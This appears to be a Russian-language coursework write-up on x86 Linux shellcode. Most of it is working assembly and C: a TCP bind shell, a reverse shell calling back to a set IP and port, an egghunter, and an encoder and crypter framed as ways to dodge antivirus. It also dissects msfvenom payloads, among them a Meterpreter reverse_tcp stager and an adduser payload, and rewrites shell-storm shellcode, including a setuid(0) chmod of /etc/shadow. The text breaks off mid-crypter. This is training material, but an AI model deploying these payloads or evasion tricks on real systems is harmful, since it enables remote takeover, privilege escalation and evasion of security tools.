objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr 't' ' ' | sed 's/ $//g' | sed 's/ /\x/g' | paste -d '' -s

Этот скрипт будем использовать для вывода на печать кода в hex-формате, причём перед каждым символом будет выведен на печать «x». Это необходимо для вставки нашего шеллкода в C-файл.

hexopcode.sh

#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr 't' ' ' | sed 's/ $//g' | sed 's/ /\x/g' | paste -d '' -s | sed -e 's!\x!!g'

Здесь всё то же самое, что и в скрипте выше, только на печать код выводится без «x». Необходимо для передачи hex-кода следующему скрипту.

hex2stack.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys

if __name__ == '__main__':
	if len(sys.argv) != 2:
		print("Enter opcode in hex")
		sys.exit(0)

	string = sys.argv[1]

	reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]

	l = len(reversed) % 4
	if l:
		print("tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))

	for p in range(l, len(reversed[l:]), 4):
		print("tpush 0x" + "".join(reversed[p:p+4]))

Чтобы было легко работать с кодом, его можно поместить в стек. В стек данные помещаются в обратном порядке при помощи команды push. Скрипт выше преобразует hex-строку для помещения её в стек.

Пример:

$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80
	push 0x9080cd0b
	push 0xb0e18953
	push 0xc28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031

uscompile.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./compile <cFile> (no extension)"
  exit
fi

if [ ! -e "$1.c" ]; then
  echo "Error, $1.c not found."
  echo "Note, do not enter file extensions"
  exit
fi

gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c

Данный скрипт компилирует C-файл с отключенной защитой стека. Защиту отключаем в учебных целях.

shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"";

int main()
{
        printf("Shellcode Length:  %dn", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Сам C-файл, в который мы помещаем наш шеллкод.

Задания

1. Написать TCP bind shell

Мы будем писать самый простой TCP-bind шелл, поэтому в нашем случае порядок следующий:

  1. Создаём сокет при помощи системного вызова socket(), при создании нам будет отдан дескриптор сокета, который представляет из себя число;
  2. Для созданного сокета настраиваем параметры — протокол, адрес, где он будет «слушать», порт — и выполняем системный вызов bind(), который закрепит наш сокет к указанным параметрам;
  3. Затем выполним вызов listen() — сокет «слушает» входящие соединения;
  4. Просто слушать соединения мало, их необходимо принять, поэтому — accept();
  5. После того, как клиент к нам подсоединился, необходимо перенаправить стандартные дескрипторы ввода, вывода и ошибок клиенту: продублируем их при помощи dup2();
  6. И последнее: вызовем командную оболочку, в которой клиент сможет выполнять команды.

Прежде чем перейти к написанию кода на ассемблере, будет полезно реализовать вышеприведенный пример на С.

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>

int main(void)
{
    int clientfd, sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    // AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol
    // AF_INET = 2, SOCK_STREAM = 1
    // create socket, save socket file descriptor in sockfd variable
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // fill structure
    mysockaddr.sin_family = AF_INET; // can be represented in numeric as 2
    mysockaddr.sin_port = htons(port);
    //mysockaddr.sin_addr.s_addr = INADDR_ANY;// can be represented in numeric as 0 which means to bind to all interfaces
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
    // size of this array is 16 bytes
    //printf("size of mysockaddr: %lun", sizeof(mysockaddr));
    // executing bind() call
    bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));
    // listen()
    listen(sockfd, 1);
    // accept()
    clientfd = accept(sockfd, NULL, NULL);
    // duplicate standard file descriptors in client file descriptor
    dup2(clientfd, 0);
    dup2(clientfd, 1);
    dup2(clientfd, 2);
    // and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection
    char * const argv[] = {"sh",NULL, NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

Время перенести наш код на ассемблер. Чтобы понимать, какие аргументы принимает каждый вызов и не только, можно посмотреть руководство по ним: man <вызов>. Иногда у одного имени может быть несколько справочных руководств. Вывести список всех доступных: apropos <вызов>.

После чего: man <номер интересующего нас руководства> <вызов>.

0. Подготавливаем регистры
Нам неизвестны значения, которые находятся в регистрах в начале нашей работы с ними, поэтому обнулим их:

	section .text
global _start

_start:
	xor eax, eax
	xor ebx, ebx
	xor esi, esi

1. Создаём сокет

В x86 системных вызовах нет прямого вызова socket(). Все вызовы выполняются косвенно через метод socketcall(). Данный вызов принимает 2 аргумента: номер вызова сокета и указатель на его аргументы. Список возможных вызовов сокета можно посмотреть в файле: /usr/include/linux/net.h

	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

2. Указываем параметры созданного сокета и выполняем bind().

На картинке ниже показано, как нужно помещать параметры сокета в стек.

Пришлось потратить некоторое время, чтобы разобраться, в каком виде помещаются в стек параметры сокета:

image

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102
	mov bl, 2		; bind()
	mov ecx, esp
	int 0x80

Чтобы поменять порт, можно выполнить команду:

$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"

И если вы хотите указать конкретный адрес, на котором будет слушать наш сокет:

$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'

3. Вызов listen()

	; creating listen
	push 1
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

4. Вызов accept()

	; creating accept()
	push esi
	push esi
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

5. Дублируем стандартные дескрипторы.

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

6. Вызываем командную оболочку

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

Теперь сложим всё вместе

	section .text
global _start

_start:
	; clear registers
	xor eax, eax
	xor ebx, ebx
	xor esi, esi
	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102		; socketcall() number
	mov bl, 2		; bind()
	mov ecx, esp		; 2nd argument - pointer to args
	int 0x80

	; creating listen
	push 1			; listen for 1 client
	push edx		; clients queue size
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

	; creating accept()
	push esi		; use default value
	push esi		; use default value
	push edx		; sockfd
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx		; clear ecx
	mov cl, 3		; number of loops
	mov ebx, edx		; socketfd
dup:	dec ecx
	mov al, 63		; number of dup2 syscall()
	int 0x80
	jns dup			; repeat for 1,0

	; execve /bin/bash
	xor eax, eax		; clear eax
	push eax		; string terminator
	push 0x68732f2f		; //bin/sh
	push 0x6e69622f
        mov ebx, esp		; 1st arg - address of //bin/sh
        push eax		; 
        mov edx, eax		; last argument is zero
        push ebx		; 2nd arg - pointer to all args of command
        mov ecx, esp		; pointer to args
        mov al, 11		; execve syscall number
        int 0x80

Теперь берём опкод полученного шеллкода, переносим его в наш шаблон С-файла, компилируем и запускаем:

image

2. Reverse TCP Shell

Это задание в своей реализации очень похоже на предыдущее, за исключением того, что мы будем принимать входящее соединение. Общий алгоритм:

1. Создаём сокет;
2. Выставляем параметры подключения: протокол, хост, порт;
3. Дублируем файловые дескрипторы;
4. Вызываем командную оболочку.

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main ()
{
    const char* ip = "192.168.0.106";	// place your address here
    struct sockaddr_in addr;

    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);	// port
    inet_aton(ip, &addr;.sin_addr);

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));

    /* duplicating standard file descriptors */
    for (int i = 0; i < 3; i++)
    {
        dup2(sockfd, i);
    }

    execve("/bin/sh", NULL, NULL);

 

Переведем в ассемблер

	section .text
global _start

_start:
	; creating socket
	xor eax, eax
	xor esi, esi
	xor ebx, ebx
	push esi
	push 0x1
	push 0x2
	; calling socket call for socket creating
	mov al, 102
	mov bl, 1
	mov ecx, esp
	int 0x80
	mov edx, eax

	; creating sockaddr_in and connect()
	push esi
	push esi
	push 0x6a00a8c0		; IPv4 address to connect
	push WORD 0x5c11	; port
	push WORD 2
	mov ecx, esp
	push 0x16
	push ecx
	push edx
	; socketcall()
	mov al, 102
	mov bl, 3		; connect()
	mov ecx, esp
	int 0x80

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

Затем:

$nasm32 reverse_tcp_shell

Поменять адрес или порт подключения можно при помощи аналогичных команд (задание 1)
Результат

image

3. Техника egghunter

Техника egghunter заключается в том, чтобы найти в памяти участок, обозначенный «пасхальным яйцом», значение которого нам заранее известно, и передать управление коду, следующему за «яйцом». Эта техника бывает полезна, когда мы не знаем точного адреса расположения нашего шеллкода.

Для демонстрации этого примера:

  1. Положим в стек «мусор»;
  2. Положим в стек наш шеллкод;
  3. Положим в стек «пасхальное яйцо»;
  4. Добавим еще «мусор».

Для генерации «мусора» воспользуемся следующим скриптом:

#!/usr/bin/python3

import random

rdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):
	bts = rdm[i:i+4]
	print("tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))

Искать мы будем шеллкод:

	; execve_sh
global _start

section .text
_start:

        ; PUSH 0
        xor eax, eax
        push eax

        ; PUSH //bin/sh (8 bytes)
	push 0x68732f2f
	push 0x6e69622f

        mov ebx, esp

        push eax
        mov edx, eax

        push ebx
        mov ecx, esp

        mov al, 11
        int 0x80

Этот шеллкод необходимо скомпилировать, взять его опкод и поместить в стек.

В итоге у нас получится:

section .text
global _start

_start:
	; trash
	push 0x94047484
	push 0x8c35f24a
	push 0x5a449067
	push 0xf5a651ed
	push 0x7161d058
	push 0x3b7b4e10
	push 0x9f93c06e
	; shellcode execve() /bin/sh
	push 0x9080cd0b
	push 0xb0e18953
	push 0xe28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031
	; egg
	push 0xdeadbeef
	; trash
        push 0xd213a92d
        push 0x9e3a066b
        push 0xeb8cb927
        push 0xddbaec55
        push 0x43a73283
        push 0x89f447de
        push 0xacfb220f


	mov ebx, 0xefbeadde	; egg in reverse order
        mov esi, esp
        mov cl, 200		; change this value for deeper or less searching

find:   lodsb			; read byte from source - esi
        cmp eax, ebx		; is it egg?
        jz equal		; if so, give control to shellcode
	shl eax, 8		; if not, shift one byte left
        loop find		; repeat

	xor eax, eax		; if there is no egg - exit
        mov al, 1
	xor ebx, ebx
        mov bl, 10
        int 0x80

equal: jmp esi			; jmp to shellcode

image

Можно loop find заменить инструкцией jmp find, но это может привести к ошибке программы. Также можно сделать обработчик этого исключения, в общем случае нашего кода достаточно. Иногда может потребоваться найти «пасхальное яйцо», лежащее в другом направлении памяти, тогда нужно поменять значение direction flag’а, а для передачи управления шеллкоду можно использовать jmp esi+offset.

4. Написать свой кодировщик

В нашем случае кодирование заключается в видоизменении исходного кода шеллкода без применения информации, необходимой для обратной раскодировки, что отличает этот процесс от процесса шифрования. Я решил выполнить это задание, как в курсе, но с небольшим усложнением: между нужными байтами шеллкода находится случайное (от 1 до 5) количество байт мусора. Для генерации закодированного шеллкода я написал следующий скрипт:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
        print("Enter opcode in hex")
        sys.exit(0)

opcode = sys.argv[1]
encoded = ""

b1 = bytearray.fromhex(opcode)

# Generates random value from 1 to 5 of 'aa' string
for x in b1:
        t = 'aa' * random.randint(1,5)
        encoded += '%02x' % x + t

print(encoded)

Результат поместим в стек:

$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

Вывод:

	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

Обратите внимание на первую часть 0x909090aa. Первый байт 90 справа — это конец нашего закодированного шеллкода. Конечно, можно выбрать любое другое валидное значение для обозначения окончания шеллкода.

Код декодера:

	section .text
	global _start
_start:
	; encoded shellcode
	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

	; prepare registers for decoding
	mov esi, esp
	mov edi, esp
	mov bl, 0xaa

decoder:
	lodsb		; read byte from stack
	cmp al, bl	; check: is it trash byte?
	jz loopy	; if so, repeat
	cmp al, 0x90	; is it end of shellcode?
	jz exec		; if so, go to start of shellcode
	stosb		; if not, place byte of shellcode into stack
loopy:	jmp decoder	; repeat

exec:	jmp esp		; give flow control to shellcode

Если шеллкод не имеет nop-инструкций (0x90), такой байт можно выбрать в качестве маркера окончания шеллкода. В других случаях необходимо использовать другое значение.
Результат:

image

5. Анализ шеллкодов, сгенерированных msfvenom’ом при помощи GDB/libemu/ndisasm

В данном разделе будет произведен анализ шеллкодов, полученных известным инструментом — msfvenom.

1. add user
Команда для генерации шеллкода:

msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c

Существует несколько вариантов анализа полученного шеллкода GDB, я решил использовать удобный для меня способ — поместить код в стек и проанализировать.

$ cat adduser.c | grep -Po "\x.." | tr -d 'n' | sed -e 's!\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80

$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	...

Анализировать будем такой файл:

	section .text
	global _start
_start:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	push 0x6afc518b
	push 0x590a6873
	push 0x2f6e6962
	push 0x2f3a2f3a
	push 0x3a303a30
	push 0x3a635249
	push 0x3470346a
	push 0x7349642f
	push 0x7a413a74
	push 0x696f6c70
	push 0x73617465
	push 0x6d000000
	push 0x28e89380
	push 0xcd04b541
	push 0xe3896374
	push 0x652f6861
	push 0x702f2f68
	push 0x64777373
	push 0x6851c931
	push 0x58056a80
	push 0xcd58466a
	push 0xcb89c931
	jmp esp

image

Первое, что выполняет шеллкод — производит вызов setreuid() с параметрами (0,0): у шеллкода должны быть root-права. После открывается файл /etc/passwd. В коде после открытия файла используется инструкция call. Выполняя данную инструкцию, процессор положит следующую за ней команду в стек. В нашем случае за такой командой идёт строка с нашими параметрами пользователя — впоследствии эта строка будет записана в файл. Такой способ позволяет использовать любые данные для записи в файл.

2. exec whoami
С записью в файл разобрались, теперь посмотрим, как реализовано выполнение команд
Генерируем шеллкод:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin

Для анализа кода выполним:

$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin

[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb
; execve()		
[emu 0x0x16c8100 debug ] 58                              pop eax		
[emu 0x0x16c8100 debug ] 99                              cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52                              push edx		
; "-c"
[emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d	
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7                            mov edi,esp		
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f	
[emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp		
; null
[emu 0x0x16c8100 debug ] 52                              push edx		
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8                              call 0x1		
; push "-c"
[emu 0x0x16c8100 debug ] 57                              push edi		
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53                              push ebx		
; 2nd argument of execve() 
; pointer to args
[emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp		
; execute execve()
[emu 0x0x16c8100 debug ] CD80                            int 0x80		

image

Для выполнения команды также используется инструкция call, что позволяет легко менять исполняемую команду.

3. Reverse Meterpreter TCP

command to generate payload

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin

Then

ndisasm -u meter_revtcp.bin

Code with comments

00000000  6A0A              push byte +0xa
00000002  5E                pop esi			; place 10 in esi
00000003  31DB              xor ebx,ebx			; nullify ebx
00000005  F7E3              mul ebx
00000007  53                push ebx			; push 0
00000008  43                inc ebx			; 1 in ebx
00000009  53                push ebx			; push 1
0000000A  6A02              push byte +0x2		; push 2
0000000C  B066              mov al,0x66			; mov socketcall
0000000E  89E1              mov ecx,esp			; address of argument
00000010  CD80              int 0x80			; calling socketcall() with socket()
00000012  97                xchg eax,edi		; place sockfd in edi
00000013  5B                pop ebx			; in ebx 1
00000014  68C0A80066        push dword 0x6600a8c0	; place IPv4 address connect to
00000019  680200115C        push dword 0x5c110002	; place port and proto family
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax			; socketcall()
00000023  50                push eax
00000024  51                push ecx			; addresss of sockaddr_in structure
00000025  57                push edi			; sockfd
00000026  89E1              mov ecx,esp			; address of arguments
00000028  43                inc ebx
00000029  CD80              int 0x80			; call connect()
0000002B  85C0              test eax,eax		; 
0000002D  7919              jns 0x48			; if connect successful - jmp
0000002F  4E                dec esi			; in esi 10 - number of attempts to connect
00000030  743D              jz 0x6f			; if zero attempts left - exit
00000032  68A2000000        push dword 0xa2
00000037  58                pop eax
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80			; wait 5 seconds
00000042  85C0              test eax,eax
00000044  79BD              jns 0x3
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7			; mov dl 7 - read, write, execute for mprotect() memory area
0000004A  B900100000        mov ecx,0x1000		; 4096 bytes
0000004F  89E3              mov ebx,esp
00000051  C1EB0C            shr ebx,byte 0xc
00000054  C1E30C            shl ebx,byte 0xc		; nullify 12 lowest bits
00000057  B07D              mov al,0x7d			; mprotect syscall
00000059  CD80              int 0x80
0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f			; if no success with mprotect -> exit
0000005F  5B                pop ebx			; if success put sockfd in ebx
00000060  89E1              mov ecx,esp
00000062  99                cdq
00000063  B60C              mov dh,0xc
00000065  B003              mov al,0x3			; read data from socket
00000067  CD80              int 0x80
00000069  85C0              test eax,eax
0000006B  7802              js 0x6f
0000006D  FFE1              jmp ecx			; jmp to 2nd part of shell
0000006F  B801000000        mov eax,0x1
00000074  BB01000000        mov ebx,0x1
00000079  CD80              int 0x80

Этот код создаёт сокет, пытается соединиться с указанным IP-адресом по заданному порту, создаёт область памяти и пытается произвести чтение второй части шеллкода из сокета и записать в выделенную область памяти. Если установить соединение не удаётся, программа ждёт 5 секунд и повторяет попытку. После нескольких неудачных попыток или в случае других возникших исключений она прекращает свою работу.

6. Выполнить полиморфное преобразование 3 шеллкодов с shell-storm’а.

Полиморфное преобразование — это такое преобразование, при котором меняется код шеллкода, а логика сохраняется. Пример:

xor eax, eax обнулит регистры,
sub eax, eax также обнулит регистры.

Разница между этими двумя вариантами будет в производительности: первый выполнится немного быстрее. Полиморфное преобразование меняет сигнатуру шеллкода, что может помочь в сокрытии шеллкода от антивируса.

1. chmod /etc/shadow

	; http://shell-storm.org/shellcode/files/shellcode-608.php
	; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
	; length - 40 bytes
	section .text

global _start

_start:
	sub ebx, ebx	; replaced
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	sub eax, eax	; replaced
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

Данный шеллкод вызывает setuid() с параметрами 0,0 (пытается получить root-права) и затем выполняет chmod() для файла /etc/shadow.

image

В некоторых случаях этот шеллкод можно выполнить без обнуления регистров.


	section .text
global _start

_start:
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

«Собрав» этот код через asm, а не через С-файл, его можно успешно выполнять.

2. Execve /bin/sh

	; http://shell-storm.org/shellcode/files/shellcode-251.php
	; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
	; length - 45 byte
	section .text
global _start
_start:
	push 0x17
	mov eax, [esp]	; replaced
	sub ebx, ebx	; replaced
	imul edi, ebx	; replaced
	int 0x80

	push 0x2e
	mov eax, [esp]	; replaced
	push edi 	; replaced
	int 0x80

	sub edx, edx	; replaced
	push 0xb
	pop eax
	push edi	; replaced
	push 0x68732f2f
	push 0x6e69622f
	lea ebx, [esp]	; replaced
	push edi	; replaced
	push edi	; replaced
	lea esp, [ecx]	; replaced
	int 0x80

image

Данный шеллкод уже рассматривался неоднократно в примерах выше. Особых пояснений он не требует.

3. TCP bind shellcode with second stage

	; original: http://shell-storm.org/shellcode/files/shellcode-501.php
	; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
	; length 94
	section .text
global _start

_start:
	sub eax, eax	; replaced
	imul ebx, eax	; replaced
	imul edx, eax	; replaced

_socket:
	push 0x6
	push 0x1
	push 0x2
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp] ; replaced
	int 0x80

_bind:
	mov edi, eax	; placing descriptor
	push edx
	push WORD 0xb315	;/* 5555 */
	push WORD 2
	lea ecx, [esp]	; replaced
	push 16
	push ecx
	push edi
	xor eax, eax	; replaced
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_listen:
	mov bl, 4	; replaced
	push 0x1
	push edi
	add al, 0x66	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_accept:
	push edx
	push edx
	push edi
	add al, 0x66	; replaced
	mov bl, 5	; replaced
	lea ecx, [esp]	; replaced
	int 0x80
	mov ebx, eax

_read:
	mov al, 0x3
	lea ecx, [esp]	; replaced
	mov dx, 0x7ff
	mov dl, 1	; replaced
	int 0x80
	jmp esp

Данный шеллкод открывает соединение, получает вторую часть шеллкода и исполняет её.

Код второй части:

	section .text
global _start

_start:
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	mov ebx, 100
	int 0x80

image

Как можно заметить, вторая часть шеллкода выполнилась успешно. Код завершения программы равен 100.

7. Шифровальщик

Несмотря на то, что в курсе шеллкод шифруется при помощи высокоуровневого языка С и вспомогательных библиотек, я решил выполнить данное задание на ассемблере, т.к. курс посвящен именно ассемблеру, несмотря на упрощение алгоритма шифрования.

crypter.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
	print("Enter shellcode in hex")
	sys.exit(0)

shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)

# Generating key
key_length = len(plain_shellcode)
r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())

encrypted_shellcode = ""
plain_key = ""

for b in range(len(plain_shellcode)):
	enc_b = (plain_shellcode[b] + key[b]) & 255
	encrypted_shellcode += '%02x' % enc_b
	plain_key += '0x'+ '%02x' % key[b] + ','

print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)

Сначала создадим «скелет»:

	section .text
global _start

_start:
	; push encrypted shellcode
	<PUSH ENCRYPTED SHELLCODE>

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, <KEY LENGTH>

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db <CIPHER KEY>

Для данного кода необходимо 3 вещи: push-инструкции с закодированным шеллкодом, длина ключа и сам ключ шифрования. Зашифруем TCP bind shell шеллкод. Выведем на печать опкод:

$hexopcode bind_tcp_shell 
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80

Зашифруем его:

$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
